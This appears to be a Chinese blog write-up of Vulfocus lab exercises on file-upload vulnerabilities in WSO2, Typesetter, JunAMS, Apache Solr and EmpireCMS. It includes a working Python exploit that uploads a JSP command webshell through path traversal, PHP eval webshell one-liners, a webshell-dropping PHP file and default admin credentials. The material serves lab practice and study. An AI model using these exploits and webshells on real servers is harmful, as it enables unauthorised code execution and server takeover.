当前位置: 首页 > news >正文

Vulfocus靶场-文件上传-3

WSO2 文件上传 (CVE-2022-29464)

WSO2是一家成立于 2005 年的开源技术提供商。它提供了一个企业平台,用于在本地和整个 Internet 上 集成应用程序编程接口(API)、应用程序和 Web 服务。 某些 WSO2 产品允许无限制的文件上传和远程代码执行。攻击者必须使用带有 Content-Disposition 目录遍历序列的 /fileupload 端点来到达 Web 根目录下的目录,例如 ../../../../repository/deployment/server/webapps 目录。这会影响 WSO2 API Manager 2.2.0 及更高版本到 4.0.0;WSO2 Identity Server 5.2.0 及以上至 5.11.0;WSO2 身份服务器分析 5.4.0、5.4.1、5.5.0 和 5.6.0;WSO2 身份服务器作为密钥管理器 5.3.0 及更高版本至 5.10.0;和 WSO2 Enterprise Integrator 6.2.0 及更高版本至 6.6.0。

打开页面

使用exp进行测试上传shell文件

漏洞利用过程

利用这个漏洞的过程涉及到构造特殊的 HTTP 请求,通过这些请求,攻击者可以绕过正常的文件上传限制,将 JSP 文件上传到服务器的特定目录中。上传的 JSP 文件可以包含任意代码,一旦上传成功,攻击者就可以通过访问这个 JSP 文件来执行服务器上的命令。

以下是一个简化的利用过程示例:

import requests

# 目标 URL

url = "http://target.com/fileupload/toolsAny"

# 构造恶意 JSP 文件内容

jsp_payload = """

<FORM>

<INPUT name='cmd' type=text>

<INPUT type=submit value='Run'>

</FORM>

<%@ page import="java.io.*" %>

<%

String cmd = request.getParameter("cmd");

String output = "";

if(cmd != null) {

String s = null;

try {

Process p = Runtime.getRuntime().exec(cmd,null,null);

BufferedReader sI = new BufferedReader(new

InputStreamReader(p.getInputStream()));

while((s = sI.readLine()) != null) { output += s+"</br>"; }

} catch(IOException e) { e.printStackTrace(); }

}

%>

<pre><%=output %></pre>

"""

# 发送恶意文件上传请求

files = { "../../../../repository/deployment/server/webapps/authenticationendpoint/shell.jsp": jsp_payload }

response = requests.post(url, files=files, verify=False)

# 输出上传后的 JSP 文件访问路径

print(f"Shell uploaded at: {url}/authenticationendpoint/shell.jsp")

在这个示例中,攻击者构造了一个包含恶意代码的 JSP 文件,并通过修改 HTTP 请求的 Content-Disposition 头部,使得文件被上传到服务器的 authenticationendpoint 目录下。这个目录通常用于存放认证相关的页面,但由于漏洞的存在,攻击者可以将其用作存放恶意文件的位置。

typesetter 文件上传 (CVE-2020-25790)

CVE-2020-25790 是一个影响 Typesetter CMS 的文件上传漏洞。该漏洞允许攻击者通过上传包含恶意 PHP 代码的 ZIP 文件,从而在服务器上执行任意代码。

漏洞复现步骤

1. 登录 Typesetter CMS

首先,使用管理员账号登录 Typesetter CMS。默认账号和密码通常为 admin/admin

示例:

访问首页 -> 点击 "logged in" -> 输入账号密码 admin/admin

2. 创建恶意 PHP 文件

创建一个包含恶意代码的 PHP 文件,例如:

<?php @eval($_POST['cmd']); ?>

将该文件压缩成 ZIP 包,例如 shell.zip

3. 上传 ZIP 文件

在 Typesetter CMS 中,找到文件上传功能,选择并上传 shell.zip

示例:

选择 "内容" -> "已上传的文档" -> "上传"

4. 解压 ZIP 文件

上传完成后,选择解压该 ZIP 文件。解压后会得到一个 PHP 文件,例如 shell.php

 junams 文件上传 (CNVD-2020-24741)

JunAMS是一款以ThinkPHP为框架的开源内容管理系统。 JunAMS内容管理系统存在文件上传漏洞,攻击者可利用该漏洞上传webshell,获取服务器权限。 后台路径 /admin.php admin:admin

打开页面

后台登录

测试的时候一直发现请求上传接口出现异常 无法上传文件 利用exp进行上传

<form enctype="multipart/form-data" action="http://localhost//admin.php/common/add_images.html" method="post">  
<input type="file" name="file" size="50"><br>  
<input type="submit" value="Upload">  
</form>

solr 上传代码 (CVE-2019-12409)

Apache Solr CVE-2019-12409 是一个远程代码执行漏洞,涉及到 Java Management Extensions (JMX) 技术。JMX 通常用于管理和监控应用程序,但如果 JMX 服务端口暴露,远程攻击者可以利用这一点远程加载恶意的 Bean 文件,从而执行远程代码。

漏洞条件

此漏洞影响 Apache Solr 的 8.1.1 和 8.2.0 版本。在 solr.in.sh 配置文件中,默认启用了 ENABLE_REMOTE_JMX_OPTS 配置项,允许远程加载 JMX。漏洞触发还需要 RMI 端口开启,默认为 18983,并且运行在 Linux 服务器系统上。

漏洞复现步骤

  1. 环境搭建:下载受影响的 Apache Solr 版本,如 8.2.0 或 8.1.1,从官方网站获取。

  2. 配置检查:在 solr.in.sh 文件中确认 ENABLE_REMOTE_JMX_OPTS 设置为 "true",表明存在漏洞。

  3. 启动服务:在 bin 目录下使用 ./solr -e dih -force 命令启动 Solr 服务。

  4. 端口检查:使用 nmap 确认 JMX 服务的 18983 端口已开启。

  5. 利用工具:可以使用 mjet 和 msf 工具进行漏洞利用。mjet 可以部署恶意的 MBean,而 msf 的 exploit/multi/misc/java_jmx_server 模块可用于远程代码执行

我这里是本地搭建的老版本的vulfocus 复现不起来。 

官方的在线靶场也不能复现

empirecms 文件上传 (CVE-2018-18086)

CVE-2018-18086 是一个影响 EmpireCMS(帝国网站管理系统)7.5 及之前版本的严重安全漏洞。该漏洞存在于 e/class/moddofun.php 文件中的 LoadInMod 函数中,攻击者可以利用该漏洞上传任意文件,从而实现任意代码执行。

漏洞影响范围

该漏洞影响 EmpireCMS 7.5 及之前的所有版本。攻击者可以通过未验证的数据库表名修改,实现任意代码执行。

漏洞复现步骤

  • 访问后台管理页面:访问 http://<目标IP>/empirecms/e/admin/index.php,使用默认账号密码 admin/123456 登录后台管理页面。

  • 导入系统模型:依次点击“系统” -> “管理数据表” -> “导入系统模型”。

  • 上传恶意文件:创建一个名为 shell.php.mod 的文件,内容如下:

<?php file_put_contents("shell.php", "<?php @eval(\$_POST['cmd']); ?>"); ?>

  • 验证文件上传:导入文件后,访问 http://<目标IP>/empirecms/e/admin/shell.php,验证文件是否成功上传

相关文章:

  • 智慧灌区信息化节水灌溉系统解决方案
  • DeepSearch:WebThinker开启AI搜索研究新纪元!
  • 【LLM】大模型落地应用的技术 ——— 推理训练 MOE,AI搜索 RAG,AI Agent MCP
  • win10-django项目与mysql的基本增删改查
  • 泰迪杯特等奖案例深度解析:基于MSER-CNN的商品图片字符检测与识别系统设计
  • Yocto Project 快速构建
  • ISBI 2012 EM 神经元结构分割数据集复现UNet
  • RAG-MCP:突破大模型工具调用瓶颈,告别Prompt膨胀
  • 【实证分析】上市公司持续创新数据集+dofile(2008-2023年)
  • Apollo Client 1.6.0 + @RefreshScope + @Value 刷新问题解析
  • 【AT32】 AT32 移植 Freemodbus 主站
  • ssti刷刷刷
  • threejs小案例——贴图翻转
  • 华为云Flexus+DeepSeek征文|SpringBoot开发实战:基于ModelArts Studio高效集成DeepSeek大模型服务
  • 归并排序:分治思想的优雅实现
  • 后端框架(1):Mybatis
  • 在 C# 中将 DataGridView 数据导出为 CSV
  • ROS资料推荐学习
  • xss-labs靶场第11-14关基础详解
  • Microsoft Azure 服务4月更新告示
  • 女排奥运冠军宋妮娜:青少年保持身心健康才能走得更远
  • 女子七年后才知银行卡被盗刷18万元,警方抓获其前男友
  • 阿里上季度营收增7%:淘天营收创新高,AI产品营收连续七个季度三位数增长
  • 杞支雅男评《1517》|放眼世界,立足德国
  • 《克莱默夫妇》导演罗伯特·本顿去世,终年92岁
  • 联合国秘书长欢迎中美经贸高层会谈成果